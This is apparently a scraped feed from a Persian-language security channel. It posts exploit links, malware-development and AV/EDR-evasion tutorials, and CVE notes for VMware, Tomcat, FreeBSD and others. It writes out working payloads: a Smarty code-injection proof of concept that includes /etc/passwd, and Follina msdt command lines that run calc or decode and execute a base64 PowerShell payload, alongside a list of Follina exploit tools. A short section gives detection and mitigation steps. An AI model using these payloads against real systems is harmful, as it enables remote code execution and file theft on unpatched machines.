سایت فیشینگه ؟

Rvnsndy.com

⭕️VMware Workspace ONE Access and Identity Manager RCE via SSTI.
CVE-2022-22954 - PoC SSTI
*
exploit+payload+shodan
#vmware #cve
@securation

⭕️New technique for shellcode injection to evade AVs and EDRs

https://github.com/Idov31/FunctionStomping
#shellcode #bypass #edr #av
@securation

⭕️ Malware development: persistence - part 1. Registry run keys. C++ example.

Malware development: persistence - part 2. Screensaver hijack. C++ example.

Malware development: persistence - part 3. COM DLL hijack.

Malware development: persistence - part 4. Windows services. Simple C++ example.

Malware development: persistence - part 5. AppInit_DLLs. Simple C++ example.

Malware development: persistence - part 6. Windows netsh helper DLL. Simple C++ example.

Malware AV evasion: part 7. Disable Windows Defender. Simple C++ example.

#malware #dev #cpp
@securation

⭕️ اکسپلویت OOB XXE از طریق متد LOCK در HTTP
https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/

در ارائه زیر که مربوط به کنفرانس Zero Night میشه درباره WebDav XXE attacks صحبت شده ، که متد های PROPPATCH ، PROPFIND ، LOCK و ... XML رو به عنوان ورودی قبول میکنن . و به این موضوع که مخصوصا پیاده سازی های با جاوا آسیب پذیر اند اشاره میکنه.
https://2015.zeronights.org/assets/files/35-Egorov.pdf
#WebDav #LOCK #XXE
@securation

https://github.com/4ra1n/tomcat-jmxproxy-rce-exp

#go #rce #tomcat #vulnerability
@securation

⭕️ Exploiting a heap overflow in the FreeBSD Wi-fi stack

https://www.zerodayinitiative.com/blog/2022/6/15/cve-2022-23088-exploiting-a-heap-overflow-in-the-freebsd-wi-fi-stack
#heap #freebsd #wifi
@securation

⭕️Smarty PHP Code Injection
< 3.1.45 / >= 4.0.0 / < 4.1.1
CVE-2022-29221

PoC:

{block name='*/phpinfo();/*'}{/block}
{include file='string:*/include"/etc/passwd";exit;/*' inline=1}

#1DAY #smarty #web
@securation

⭕️ در initial access که جزیی از پروسه Red Teaming و در حملات Client access هست، ما تکنیک های متفاوتی میتوانیم اجرا کنیم اعم از macro ها در نرم افزار های گروه آفیس و...
حالا آسیب پذیری RCE را بررسی میکنیم که در ویژگی شبیه macro به اسم remote template که با پروتکلی به اسم MSDT این اتفاق صورت میگیره که باید گفت بر روی wordو teams و Excel و outlook و Foxit PDF صورت میگیره ناگفته نمونه که به تنهایی هم میتوان با استفاده از اکسپلویت و اجرای دستورات هم از این آسیب پذیری بهره ببریم که در واقع ما میتونیم به صورت ریموت یک فایل html را اجرا کنیم , چون ربطی به ماکرو ها نداره ما ماکرو رو هم غیر فعال کنیم ازین تکنیک میتوان استفاده کرد.
حالا نکته ای که هست
با اجرای این خط کامند:

msdt /id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"

ماشین حساب اجرا میشه
و با اجرای :

msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\"
اگر جای base64_payload پیلود ما باشه اجرا میشه .

برای اجرای این مورد میتوان از روشهای زیر استفاده کرد :‌
https://github.com/Hrishikesh7665/Follina_Exploiter_CLI
https://github.com/AchocolatechipPancake/MS-MSDT-Office-RCE-Follina
https://github.com/JohnHammond/msdt-follina
از این ابزار ها میتوان به راحتی استفاده کرد.
https://github.com/rayorole/CVE-2022-30190
این هم فایل HTML مورد نظر هستش
بعد از تست آسیب پذیری میرسه به اینکه باید چکار کرد؟
اول برای تست کردن اینکه آیا فایلی آلوده هست یا خیر , دو راه هست
راه اول اینه که فایل دریافتی را به zip تبدیل کنیم و \word_rels\Document.xml.rels رو بررسی کنیم, برای اینکار ابزاری برای تست فایل ها در این لینک هست.
در ادامه برای جلوگیری از این آسیب پذیری هم در رجیستری مسیر HKEY_CLASSES_ROOT\ms-msdt را حذف میکنیم.
نکته دیگه ای که هست حالا ما برای شناسایی اینکه ایا اجرا شده این اسیب پذیری در سیستممون یا خیر چه باید کنیم؟
اگر به صورت کامندی صورت گرفته باشه باید
در پروسه ها به دنبال msdt و sdiaghost و conhost بگردیم
حالا اگر وردی اجرا شود , پروسه winword و msiexec و mshta و msdt مشکوک میتونه باشه. نکته بعدی که میتونه اهمیت داشته باشه
به هر طریقی که ما اجرا کنیم
یک فایل xml ایجاد میشه که مشخص میکنه این اتفاق افتاده(البته خیلی این مورد اهمیت نداره چونن میتونه هکر بعد از اقدامش پاکشون کنه )
در مسیر appdata/local/diagnostics هستش.

#redteam #follina #exploit #analysis
@securation

FLARE Obfuscated String Solver - Automatically extract obfuscated strings from malware.

https://github.com/mandiant/flare-floss

#malware #R_String #FLARE
@securation

⭕️VMware Authentication Bypass Vulnerability (CVE-2022-22972) Technical Deep Dive

https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive/
@securation